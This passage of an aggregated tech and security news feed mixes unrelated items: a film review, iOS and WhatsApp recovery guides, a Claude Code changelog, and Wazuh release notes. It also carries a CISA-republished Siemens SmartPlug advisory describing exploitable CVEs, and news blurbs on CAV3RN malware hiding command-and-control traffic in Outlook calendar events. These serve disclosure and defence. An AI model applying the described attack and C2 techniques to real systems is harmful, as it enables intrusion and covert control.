

Dusty strongly dislikes pickleball and supports his father’s campaign against the increasingly popular sport. However, an old wrist injury forces him to stop playing tennis and use pickleball as part of his recovery. His decision soon places him in the middle of a battle that could decide the future of the struggling club.



Mary Steenburgen plays Candace, an experienced pickleball player who helps Dusty understand the sport. The supporting cast includes Aaron Chen, Patton Oswalt, Chloe Fineman, Chris Parnell, Christine Taylor and Martin Kove. Tennis stars Andy Roddick and John McEnroe also appear in supporting roles.



What Are Critics Saying About The Dink?



Early reviews describe The Dink as a playful return to the exaggerated sports comedies that became popular during the 2000s. Several critics have compared its tone and underdog structure to movies such as Dodgeball and Talladega Nights.



Jake Johnson’s performance has received particular praise. Reviewers say his dry delivery works well for Dusty, a bitter former athlete who slowly begins to reconsider his opinions about pickleball and his relationship with his father.



Mary Steenburgen and Ed Harris also bring warmth to the story, while the appearances from Ben Stiller, John McEnroe and Andy Roddick add more humor to the tournament scenes.



Some reviews note that the plot follows a predictable sports-movie structure and leaves a few supporting storylines underdeveloped. Still, the overall response points to an entertaining comedy with silly jokes, likable performances and enough heart to support its familiar storyline.



The Dink arrives on Apple TV on July 24 and looks suited to viewers searching for a relaxed summer comedy with an unusual sporting twist.




https://www.youtube.com/watch?v=YyVNFzx5Pl8


Das 1,4-Billionen-US-Dollar-Problem: Wie ungeplante OT-Ausfallzeiten die Industriegewinne sch
Wed, 22 Jul 2026 05:40:38 +0200
Acronis Threat Research UnitStärkung von IT-Teams durch fundierte Cybersicherheitserkenntnisse ... Backup und RecoveryCyber Security. Das 1,4-Billionen- ...


How to use iOS 27 Recovery Mode before erasing or restoring your iPhone
Wed, 22 Jul 2026 04:56:12 +0200
Apple's iOS 27 recovery screen offers iPhone and iPad users a better first step when a device won't start, especially without a computer nearby. Here's how to open it, which repair option to try first, and when computer-based recovery is still safer.

iOS 27 Recovery Mode

A failed startup is one of those iPhone problems that immediately feels worse than it may actually be. The device can sit on the Apple logo, restart in a loop or refuse to finish booting after an update.

Before iOS 27, most users eventually ended up connecting the device to a computer and working through Recovery Mode. The iOS 27 and iPadOS 27 public betas add a recovery screen that puts several troubleshooting tools directly on the affected device.

The new recovery screen matters most for people who use an iPhone or iPad as their main computer. Recovery Assistant and Software Update may get the device running again without immediately erasing it, while Diagnostics Mode can show whether software recovery is worth attempting.


 Continue Reading on AppleInsider | Discuss on our Forums


v2.1.217
Tue, 21 Jul 2026 23:48:16 +0200
What's changed

Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently
Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session
Fixed Windows auto-update failures that could leave claude.exe missing; failed updates now restore the preserved executable automatically
Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder
Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and /compact failing once over the limit
Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions
Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts
Fixed managed settings that set OTEL_EXPORTER_OTLP_ENDPOINT not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint
Fixed --resume/--continue and /resume failing with a TypeError when a transcript has a malformed attachment entry
Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared
Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (/background or ←) or when the session exits on a heavily loaded machine, most visible on Windows
Fixed a CLAUDE.md or SKILL.md paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded
Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over
Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set FORCE_HYPERLINK=0 to opt out
Changed the login-expiry warning to appear 3 days before expiry instead of 5
Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely
Added a cap on concurrently-running subagents (default 20, override with CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS) so one message can't fan out unbounded background agents
Changed subagents to no longer spawn nested subagents by default; set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH to allow deeper nesting
Fixed --max-budget-usd not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted



Judge Approves $1.5 Billion Anthropic Settlement Over Pirated Books Used To Train Claude
Tue, 21 Jul 2026 20:11:12 +0200
A federal judge has approved Anthropic's $1.5 billion copyright settlement over pirated books used to train its Claude chatbot, with authors and publishers set to receive about $3,000 per book. The case produced a mixed ruling for the AI industry: training on copyrighted books was found not to be illegal, but Anthropic's use of pirated copies from shadow libraries was. The Associated Press reports: District Judge Araceli Martinez-Olguin said in a Monday ruling that the class-action settlement provides "meaningful relief" to affected authors and publishers. About 91% of the more than 482,000 books covered by the ruling have been claimed by authors or publishers who are now due payment. Plaintiff attorney Justin Nelson said in a statement that the settlement was "the largest known copyright recovery in history. We look forward to making distributions to the Class as promptly as possible."






Read more of this story at Slashdot.


Siemens SIDIS Secured SmartPlug
Tue, 21 Jul 2026 19:45:23 +0200
View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The following versions of Siemens SIDIS Secured SmartPlug are affected:

SIDIS Secured SmartPlug vers:intdot/<7.26.0310 





CVSS
Vendor
Equipment
Vulnerabilities




v3 9.8
Siemens
Siemens SIDIS Secured SmartPlug
Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany


Vulnerabilities

Expand All +

CVE-2022-23303

The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H







CVE-2022-23304

The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H







CVE-2022-37660

In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-323 Reusing a Nonce, Key Pair in Encryption

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N







CVE-2022-48174

There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-787 Out-of-bounds Write

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5222

A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5914

A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-9230

Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-9231

Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-385 Covert Timing Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L







CVE-2025-9232

Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
5.9
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-26465

A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-390 Detection of Error Condition Without Action

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.8
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N







CVE-2025-32462

Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-863 Incorrect Authorization

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
2.8
LOW
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N







CVE-2026-5121

A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N








Acknowledgments

Siemens ProductCERT reported these vulnerabilities to CISA.


General Recommendations
As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources
For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use
The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.
Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolate them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer
This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.
Revision History

Initial Release Date: 2026-07-14




Date
Revision
Summary




2026-07-14
1
Publication Date


2026-07-21
2
Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory




Legal Notice and Terms of Use


Windows Privilege Escalation: SeRestorePrivilege
Tue, 21 Jul 2026 16:56:44 +0200
Overview SeRestorePrivilege is a Windows special privilege that allows its holder to restore files and directories, effectively bypassing discretionary access controls on the file system.
The post Windows Privilege Escalation: SeRestorePrivilege appeared first on Hacking Articles.


Whatsapp-Fotos gelöscht: So stellen Sie Bilder und Videos wieder her
Tue, 21 Jul 2026 15:43:50 +0200





Gelöschte Whatsapp-Fotos und -Videos lassen sich in vielen Fällen wiederherstellen – über das lokale Dateisystem, ein Google-Drive-Backup oder die iCloud. Welche Methode für Sie die richtige ist, hängt von Ihrem Betriebssystem ab und davon, ob Sie Whatsapp-Backups aktiviert haben. Wir führen Sie Schritt für Schritt durch alle Optionen.



Schnell-Check: Ist das Bild wirklich weg?



Bevor Sie aufwendige Wiederherstellungsversuche starten, sollten Sie zuerst zwei kurze Checks durchführen. Manchmal ist die Lösung nämlich viel einfacher, als wir denken:




Galerie prüfen: Öffnen Sie Ihre Fotos- oder Galerie-App und suchen Sie dort nach dem Album “Whatsapp” oder “Whatsapp Images”. In manchen Fällen wird ein Bild nur im Chat nicht mehr angezeigt, ist aber noch vollständig im Speicher Ihres Handys vorhanden. Voraussetzung ist, dass die automatische Medienspeicherung in Whatsapp aktiviert ist. Mehr dazu in unserem Artikel Whatsapp-Speicher aufräumen: So löschen Sie unnötige Dateien sicher.



Erneut herunterladen: Öffnen Sie den betreffenden Whatsapp-Chat. Falls Sie anstelle des Bildes nur eine verschwommene Vorschau mit einem Download-Pfeil sehen, tippen Sie darauf. Whatsapp lädt das Bild erneut von seinen Servern, sofern es noch nicht zu lange zurückliegt.



Gelöschte Whatsapp-Fotos: Wenn das Bild im Chat verschwommen ist, können Sie es per Antippen noch einmal herunterladen.
PC-Welt



Bleibt das Bild trotz der Checks unauffindbar, haben Sie noch weitere Möglichkeiten. Die wichtigsten stellen wir Ihnen in den folgenden Abschnitten vor.



Methode 1: Dateisystem durchsuchen (Android)



Auch wenn ein Bild aus dem Whatsapp-Chat gelöscht wurde und nicht mehr in der Galerie auftaucht, kann es sich noch im Dateisystem des Smartphones befinden. Auf Android legt Whatsapp Mediendateien im internen Speicher unter folgendem Pfad ab: Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media → WhatsApp Images. Für Videos schauen Sie entsprechend im Ordner “WhatsApp Video” nach.



Um in diesen Ordner zu gelangen, benötigen Sie einen Dateimanager. Auf neueren Android-Versionen reicht dafür oft die vorinstallierte App Dateien aus, alternativ funktionieren kostenlose Apps wie der Total Commander aus dem Play Store. Gehen Sie dann so vor:




Öffnen Sie die App Dateien oder einen Dateimanager Ihrer Wahl.



Navigieren Sie zu Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media.



Öffnen Sie den Ordner Whatsapp Images für Fotos oder WhatsApp Video für Videos.



Suchen Sie dort nach der gewünschten Datei und kopieren Sie sie an einen sicheren Ort.




Wichtig: Diese Methode funktioniert nur, wenn das Bild zwar aus dem Chatverlauf entfernt, aber die lokal gespeicherte Kopie noch nicht überschrieben wurde. Je länger Sie warten, desto unwahrscheinlicher wird ein Erfolg.



Methode 2: Backup wiederherstellen (Android & iPhone)



Wenn das Bild weder in der Galerie noch im Dateisystem zu finden ist, bleibt der Weg über ein Backup. Whatsapp sichert Chats und Mediendateien regelmäßig automatisch – auf Android in Google Drive und auf dem iPhone in der iCloud. Entscheidend ist, dass das Backup vor dem Löschen des Bildes erstellt wurde.



Prüfen Sie zunächst, wie weit das letzte Backup zurückliegt: Öffnen Sie Whatsapp und navigieren Sie zu Einstellungen → Chats → Chat-Backup. Dort sehen Sie Datum und Uhrzeit der letzten Sicherung. Liegt dieses Datum vor dem Zeitpunkt, an dem das Bild gelöscht wurde, sind Ihre Chancen gut.



Gehen Sie dann so vor:




Deinstallieren Sie Whatsapp. Halten Sie dazu das App-Symbol gedrückt und tippen Sie auf Deinstallieren (Android) oder App entfernen (iPhone).



Laden Sie Whatsapp neu herunter und installieren Sie die App.



Melden Sie sich mit Ihrer Telefonnummer an. Whatsapp erkennt das vorhandene Backup automatisch.



Tippen Sie auf Wiederherstellen, um Chats und Medien zurückzuholen.




Achtung: Alle Nachrichten und Medien, die nach dem letzten Backup eingegangen sind, gehen bei diesem Vorgang verloren.



Sonderfall: Das Bild wurde “für alle” gelöscht



Whatsapp erlaubt es, versendete Nachrichten nachträglich bei allen Empfängern zu entfernen. Hat der Absender ein Bild mit “Für alle löschen” entfernt, erscheint im Chat nur noch der Hinweis “Dieses Medium wurde gelöscht”. Weder Backup noch Dateisystem helfen hier weiter, da das Bild nie dauerhaft auf Ihrem Gerät gespeichert wurde.



Eine Ausnahme gibt es: Hatte Ihr Handy das Bild bereits automatisch in der Galerie gespeichert, bevor der Absender es gelöscht hat, ist diese Kopie weiterhin vorhanden. Whatsapp entfernt bei “Für alle löschen” nur die Kopie im Chat, nicht eine bereits in der Galerie gesicherte Version. Mehr zum Thema Gelöschte Whatsapp-Nachrichten und wie Sie diese trotzdem lesen können, erfahren Sie hier.



Datenrettungs-Software: Finger weg oder sinnvoll?



Im Netz werden zahlreiche Tools beworben, die angeblich gelöschte Whatsapp-Fotos direkt aus dem Speicher retten; darunter “Dr.Fone”, “PhoneRescue” oder “Tenorshare UltData”. 



Viele werben damit, ohne Root-Zugriff auszukommen. Das stimmt – mit einer wichtigen Einschränkung: Was diese Tools in der Praxis hauptsächlich tun, ist, den Inhalt eines vorhandenen Google-Drive- oder iCloud-Backups auszulesen und selektiv wiederherzustellen. Das ist durchaus praktisch, hilft aber nur, wenn das gesuchte Bild im Backup enthalten war.



Eine echte Wiederherstellung gelöschter Dateien direkt aus dem freien Gerätespeicher (also ohne jegliches Backup) ist auf modernen Android-Geräten durch das Betriebssystem stark eingeschränkt und gelingt in der Praxis selten zuverlässig. Unser Rat: Bleiben Sie skeptisch, denn die Preise für solche Tools sind oft hoch und die Erfolgsaussichten gering.



So verlieren Sie künftig keine Whatsapp-Medien mehr



Der zuverlässigste Schutz vor Datenverlust ist und bleibt ein aktuelles Backup. Aktivieren Sie in Whatsapp unter Einstellungen → Chats → Chat-Backup die tägliche automatische Sicherung und stellen Sie sicher, dass Ihr Google- oder Apple-Account genug freien Speicher hat. 



Zusätzlich empfiehlt es sich, die automatische Medienspeicherung aktiviert zu lassen, damit Fotos direkt in der Galerie landen und damit eine zweite Kopie außerhalb des Chats existiert. Bedenken Sie dabei nur, dass das den Speicher schnell füllen kann.



Weiterführender Lesetipp: 12 neue Whatsapp-Funktionen, die Sie ab sofort nutzen können



 FAQ – Whatsapp-Medien wiederherstellen 

1.
Wie lange sind Whatsapp-Fotos im Backup verfügbar?




Solange Ihr Google- oder iCloud-Speicher nicht voll ist. Wichtig: Seit Ende 2023 zählen Whatsapp-Backups auf Android zum regulären Google-One-Kontingent und sind nicht mehr kostenlos unbegrenzt.





2.
Kann ich einzelne Bilder aus dem Backup wiederherstellen, ohne alles zurückzusetzen?




Nein. Whatsapp stellt immer das gesamte Backup wieder her, nicht einzelne Dateien.






3.
Funktioniert die Dateisystem-Methode auch auf dem iPhone?




Nein. iOS erlaubt keinen direkten Dateizugriff auf Whatsapp-Ordner von außen.





4.
Was tun, wenn kein Backup vorhanden ist?




Prüfen Sie zuerst die Galerie und das Dateisystem (Android). Ist das Bild dort ebenfalls nicht mehr vorhanden, sind die Chancen auf Wiederherstellung leider sehr gering.







Druva brings backup, recovery and governance to AI workloads
Tue, 21 Jul 2026 15:40:10 +0200
Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for agentic service reliability with expanded Dru MetaGraph functionality. These innovations bring enterprise-grade resilience to AI-powered work and the backup environments organizations rely on to recover. Businesses have spent decades … More →
The post Druva brings backup, recovery and governance to AI workloads appeared first on Help Net Security.


New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops
Tue, 21 Jul 2026 15:40:08 +0200
In a significant evolution of the Project CAV3RN tooling, a new .NET Native AOT communication module dubbed AzureCommunication.dll has been deployed to replace the framework’s earlier HTTP/WebSocket C2 component. A stealthy channel that abuses Outlook calendar events over Microsoft Graph and a DNS-based recovery mechanism for Microsoft 365 credentials. This shift reinforces CAV3RN’s positioning as […]
The post New CAV3RN Module Replaces WebSocket C2 With Outlook Calendar Dead Drops appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Druva brings backup, recovery and governance to AI workloads
Tue, 21 Jul 2026 15:39:59 +0200
Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol…
Read more →
The post Druva brings backup, recovery and governance to AI workloads appeared first on IT Security News.


Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel
Tue, 21 Jul 2026 15:39:51 +0200
A newly identified malware component linked to the Project CAV3RN framework is abusing Microsoft Outlook calendar events scheduled for 2050 to conceal command-and-control (C2) traffic. The tool also uses DNS AAAA responses as a fallback channel to restore Microsoft Graph…
Read more →
The post Hackers Hide Malware Commands in Outlook Events Dated 2050 and Use as C2 Channel appeared first on IT Security News.


Wazuh v5.0.0 Beta 4
Tue, 21 Jul 2026 14:50:03 +0200
What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination WARNINGs on stop/unavailable module by @lchico in #37372
Clarify security policy for pre-release versions and disclosure timeline by @vikman90 in #37423
Bump 5.0.0 branch by @wazuhci in #37429
wazuh-manager: Memory and copy-reduction improvements part 1 by @matigarciadev in #36979
Improve default cores detection by @LucioDonda in #37288
Standardize and verify Wazuh configuration documentation  by @TomasTurina in #37411
Handle rootcheck removed tags by @rovogel in #37346
Update docs (agent) for the new password in manager by @Miguevrgo in #37420
Backport the workflow for generating pre-release agent issues to version 5.0.0 by @MarcelKemp in #37490
Upgrade 5.0.0 python dependencies by @jepalfer in #37361
Change indexer user name and password by @TomasTurina in #37502
Remove startup deprecation warning from cluster_control and agent_upgrade by @vikman90 in #37509
Change indexer username and password to wazuh-manager by @TomasTurina in #37520
Fix to improve fim_sync db performance. by @hernanvalenzuela in #37180
SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by @jr0me in #37353
Fix version comparison in indexer documents updates by @TomasTurina in #37498
Propagate sync errors to each module by @jpcerrone in #37212
Cache indexer credentials in clusterd by @TomasTurina in #37504
Standardize CHANGELOG format and keep prior versions in the bumper by @jotacarma90 in #37513
Warn on duplicate agent connection only when it persists by @jotacarma90 in #37493
Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by @anromerom in #37567
Add retry logic to indexer templates download by @TomasTurina in #37643
Reduce authd enrollment log severity for expected rejections by @jotacarma90 in #37540
Reduce memory usage when downloading VDP feed by @Antoniogm03 in #37375
Fix server-side version bump for disconnected agent metadata updates by @TomasTurina in #37647
Re-enable AWS Inspector integration tests in 5.0.0 by @MAnDumu in #37645
Fix sca internal limits by @rovogel in #37438
Silence untrustworthy FIM schema-validation errors during shutdown by @Nicogp in #37688
Fix spurious ERROR/WARNING logs during agent shutdown by @Nicogp in #37673
